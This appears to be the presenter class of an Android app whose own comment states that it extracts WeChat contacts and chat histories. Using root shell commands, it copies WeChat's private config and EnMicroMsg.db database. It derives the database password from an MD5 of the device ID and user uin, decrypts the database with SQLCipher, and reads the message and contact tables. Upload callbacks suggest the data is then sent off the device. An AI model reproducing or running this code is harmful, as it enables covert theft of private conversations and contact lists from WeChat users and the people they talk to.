package cn.truistic.enmicromsg.main.presenter;

import android.content.Context;
import android.os.AsyncTask;
import android.os.Handler;
import android.os.Looper;
import android.widget.Toast;

import com.squareup.okhttp.Response;

import net.sqlcipher.database.DatabaseObjectNotClosedException;
import net.sqlcipher.database.SQLiteDatabase;
import net.sqlcipher.database.SQLiteDatabaseHook;

import java.io.File;
import java.util.ArrayList;

import cn.truistic.enmicromsg.common.util.DeviceUtil;
import cn.truistic.enmicromsg.common.util.MD5Util;
import cn.truistic.enmicromsg.common.util.RootUtil;
import cn.truistic.enmicromsg.common.util.SharedPerfUtil;
import cn.truistic.enmicromsg.main.MainMVP;
import cn.truistic.enmicromsg.main.model.HomeModel;
import cn.truistic.enmicromsg.main.ui.HomeFragment;

/**
 * HomePresenter
 * sj： 11点23分
 * name : ts
 * 用途; 获取手机微信联系人与聊天记录
 */
public class HomePresenter implements MainMVP.IHomePresenter {
    private Context context;
    private MainMVP.IHomeView homeView;
    private MainMVP.IHomeModel homeModel;
    public String uinStr = "";
    private boolean isOpen = true; // 默认是可以上传的
    private int isContacts;  //  true 获取聊天记录   false 上传联系人列表

    @Override
    public String getUinStr() {
        return uinStr;
    }

    public HomePresenter(Context context, MainMVP.IHomeView homeView) {
        this.context = context;
        this.homeView = homeView;
        homeModel = new HomeModel(this, context);
    }

    @Override
    public synchronized void detect(int isContacts) {
        this.isContacts = isContacts;
        if (isOpen) {
            new DetectTask().execute();
            isOpen = false;
        }
    }

    /**
     * 检测是否已授权应用Root权限
     * @return true, 已授权
     */
    @Override
    public boolean detectPermission() {
        return RootUtil.isGrantRootPermission();
    }

    /**
     * 检测设备是否已Root
     * @return true, 设备已Root
     */
    @Override
    public boolean detectRoot() {
        return RootUtil.isDeviceRooted();
    }


    /**
     * 检测操作
     */
    private class DetectTask extends AsyncTask {

        @Override
        protected Object doInBackground(Object[] params) {
            boolean flag = true;
            while (flag) {
                // 1.检测微信是否已经安装
                publishProgress(MainMVP.IHomeView.Progress.DETECT_WECHAT, MainMVP.IHomeView.State.DETECTING);
                if (!detectWechat()) {
                    publishProgress(MainMVP.IHomeView.Progress.DETECT_WECHAT, MainMVP.IHomeView.State.FALSE);
                    homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_WECHAT, MainMVP.IHomeView.State.FALSE);
                    isOpen = true;
                    break;
                }
                publishProgress(MainMVP.IHomeView.Progress.DETECT_WECHAT, MainMVP.IHomeView.State.TRUE);
                homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_WECHAT, MainMVP.IHomeView.State.TRUE);
                // 2.检测设备是否已Root
                publishProgress(MainMVP.IHomeView.Progress.DETECT_ROOT, MainMVP.IHomeView.State.DETECTING);
                if (!detectRoot()) {
                    publishProgress(MainMVP.IHomeView.Progress.DETECT_ROOT, MainMVP.IHomeView.State.FALSE);
                    homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_ROOT, MainMVP.IHomeView.State.FALSE);
                    isOpen = true;
                    break;
                }
                publishProgress(MainMVP.IHomeView.Progress.DETECT_ROOT, MainMVP.IHomeView.State.TRUE);
                homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_ROOT, MainMVP.IHomeView.State.TRUE);
                // 3.检测是否已授权应用Root权限
                publishProgress(MainMVP.IHomeView.Progress.DETECT_PERMISSION, MainMVP.IHomeView.State.DETECTING);
                if (!detectPermission()) {
                    publishProgress(MainMVP.IHomeView.Progress.DETECT_PERMISSION, MainMVP.IHomeView.State.FALSE);
                    homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_PERMISSION, MainMVP.IHomeView.State.FALSE);
                    isOpen = true;
                    break;
                }
                publishProgress(MainMVP.IHomeView.Progress.DETECT_PERMISSION, MainMVP.IHomeView.State.TRUE);
                homeModel.saveState(MainMVP.IHomeView.Progress.DETECT_PERMISSION, MainMVP.IHomeView.State.TRUE);
                // 4.获取微信相关数据
                publishProgress(MainMVP.IHomeView.Progress.REQUEST_DATA, MainMVP.IHomeView.State.DETECTING);
                if (!requestData()) {
                    publishProgress(MainMVP.IHomeView.Progress.REQUEST_DATA, MainMVP.IHomeView.State.FALSE);
                    homeModel.saveState(MainMVP.IHomeView.Progress.REQUEST_DATA, MainMVP.IHomeView.State.FALSE);
                    isOpen = true;
                    break;
                }
                publishProgress(MainMVP.IHomeView.Progress.REQUEST_DATA, MainMVP.IHomeView.State.TRUE);
                homeModel.saveState(MainMVP.IHomeView.Progress.REQUEST_DATA, MainMVP.IHomeView.State.TRUE);
                // 5.解析微信相关数据
                publishProgress(MainMVP.IHomeView.Progress.ANALYSIS_DATA, MainMVP.IHomeView.State.DETECTING);
                if (!analysisData()) {
                    publishProgress(MainMVP.IHomeView.Progress.ANALYSIS_DATA, MainMVP.IHomeView.State.FALSE);
                    homeModel.saveState(MainMVP.IHomeView.Progress.ANALYSIS_DATA, MainMVP.IHomeView.State.FALSE);
                    isOpen = true;
                    break;
                }
                publishProgress(MainMVP.IHomeView.Progress.ANALYSIS_DATA, MainMVP.IHomeView.State.TRUE);
                homeModel.saveState(MainMVP.IHomeView.Progress.ANALYSIS_DATA, MainMVP.IHomeView.State.TRUE);
                flag = false;
            }
            return null;
        }

        @Override
        protected void onProgressUpdate(Object[] values) {
            homeView.setProgressState((MainMVP.IHomeView.Progress) values[0], (MainMVP.IHomeView.State) values[1]);
        }


        @Override
        protected void onPostExecute(Object o) {
            homeView.onDetectStop(isContacts);
        }
    }

    /**
     * 检测微信是否已经安装
     *
     * @return true，微信已安装
     */
    private boolean detectWechat() {
        return DeviceUtil.isAppInstalled(context, "com.tencent.mm");
    }


    /**
     * 获取微信数据
     *
     * @return true, 获取成功
     */
    private boolean requestData() {
        // 1.获取配置文件，用于获取uin
        String sharedPerfsPath = "/data/data/cn.truistic.enmicromsg/shared_prefs/system_config_prefs.xml";
        RootUtil.execCmds(new String[]{"cp /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml "
                + sharedPerfsPath, "chmod 777 " + sharedPerfsPath});
        File sharedPerfsFile = new File(sharedPerfsPath);
        if ( !sharedPerfsFile.exists() ) {
            return false;
        }
        // 2.获取数据库文件
        ArrayList<String> list;
        list = RootUtil.execCmdsforResult(new String[]{"cd /data/data/com.tencent.mm/MicroMsg", "ls -R"});
        ArrayList<String> dirs = new ArrayList<>();
        String dir = null;
        String item = null;
        for (int i = 0; i < list.size(); i++) {
            item = list.get(i);
            if (item.startsWith("./") && item.length() == 35) {
                dir = item;
            } else if (item.equals("EnMicroMsg.db")) {
                dirs.add(dir.substring(2, 34));
            }
        }
        if (dirs.size() == 0) {
            return false;
        } else {
            for (int i = 0; i < dirs.size(); i++) {
                RootUtil.execCmds(new String[]{"cp /data/data/com.tencent.mm/MicroMsg/" + dirs.get(i)
                        + "/EnMicroMsg.db " + context.getFilesDir() + "/EnMicroMsg" + i + ".db",
                        "chmod 777 " + context.getFilesDir() + "/EnMicroMsg" + i + ".db"});
            }
        }
        File dbFile;
        int i, j = 0;
        for (i = 0; i < dirs.size(); i++) {
            dbFile = new File(context.getFilesDir() + "/EnMicroMsg" + i + ".db");
            if (!dbFile.exists()) {
                break;
            }
            j++;
        }
        if (j == 0)
            return false;
        homeModel.saveDbNum(j);
        return true;
    }

    /**
     * 解析微信相关数据
     *
     * @return
     */
    private boolean analysisData() {
        // 1.计算数据库密码
        uinStr = String.valueOf(SharedPerfUtil.getUin(context));
        if (uinStr.equals("0")){  //未登录的情况
//            Toast.makeText(context, "微信已推出！", Toast.LENGTH_SHORT).show();
            return false;
        }
        String dbPwd = MD5Util.INSTANCE.md5(DeviceUtil.getDeviceId(context) + uinStr).substring(0, 7);
        if (dbPwd == null)
            return false;
        homeModel.saveDbPwd(dbPwd);
        // 打开数据库
        SQLiteDatabaseHook hook = new SQLiteDatabaseHook() {
            public void preKey(SQLiteDatabase database) { }

            public void postKey(SQLiteDatabase database) {
                database.rawExecSQL("PRAGMA cipher_migrate;");  //最关键的一句！！！
            }
        };

        int num = homeModel.getDbNum();
        int j = 0;
        File dbFile;
        SQLiteDatabase database = null;
        for (int i = 0; i < num; i++) {
            dbFile = new File(context.getFilesDir() + "/EnMicroMsg" + i + ".db");
            try {
                database = SQLiteDatabase.openOrCreateDatabase(dbFile, dbPwd, null, hook);
                break;
            } catch (Exception e) {
                j++;
            }
        }
        if ( j == num ) {
            return false;
        }
        try {
            int userInfoState = homeModel.openUserInfoTable(database);
            if (userInfoState == 0) {
                new Handler(Looper.getMainLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(context, "root 权限异常，请检查...", Toast.LENGTH_SHORT).show();
                    }
                });
                return false;
            }
            if ( isContacts == HomeFragment.UPLOAD_TYPE_MESSAGE ) {
                homeModel.openMessageTable(database); // 获取聊天记录
            } else if ( isContacts == HomeFragment.UPLOAD_TYPE_CONTACT ) {
                homeModel.openContactTable(database); // 获取微信好友列表
            } else if ( isContacts == HomeFragment.UPLOAD_TYPE_USERNAME ) {
                homeModel.openUserInfoTable(database);
            }
        } catch (DatabaseObjectNotClosedException e) {
            e.printStackTrace();
        } finally {
            isOpen = true;
            if ( database != null ) {
                 database.close();
            }
        }
        return true;
    }

    //上传成功
    @Override
    public void uploadResponse() {
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                homeView.uploadResponse();
            }
        });
    }

    //上传失败
    @Override
    public void onFailure(int courrPart) {
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                homeView.onFailure();
            }
        });
    }

    @Override
    public void onMessageFailure(int courrPart) {
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                homeView.onFailure();
            }
        });
    }

    //上传当前的条目数量
    @Override
    public void onUploadState(int courrPart) {

    }

    //暂时没有联系人可以上传
    @Override
    public void showContactUnchanged() {
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                homeView.uploadResponse();
            }
        });
    }
}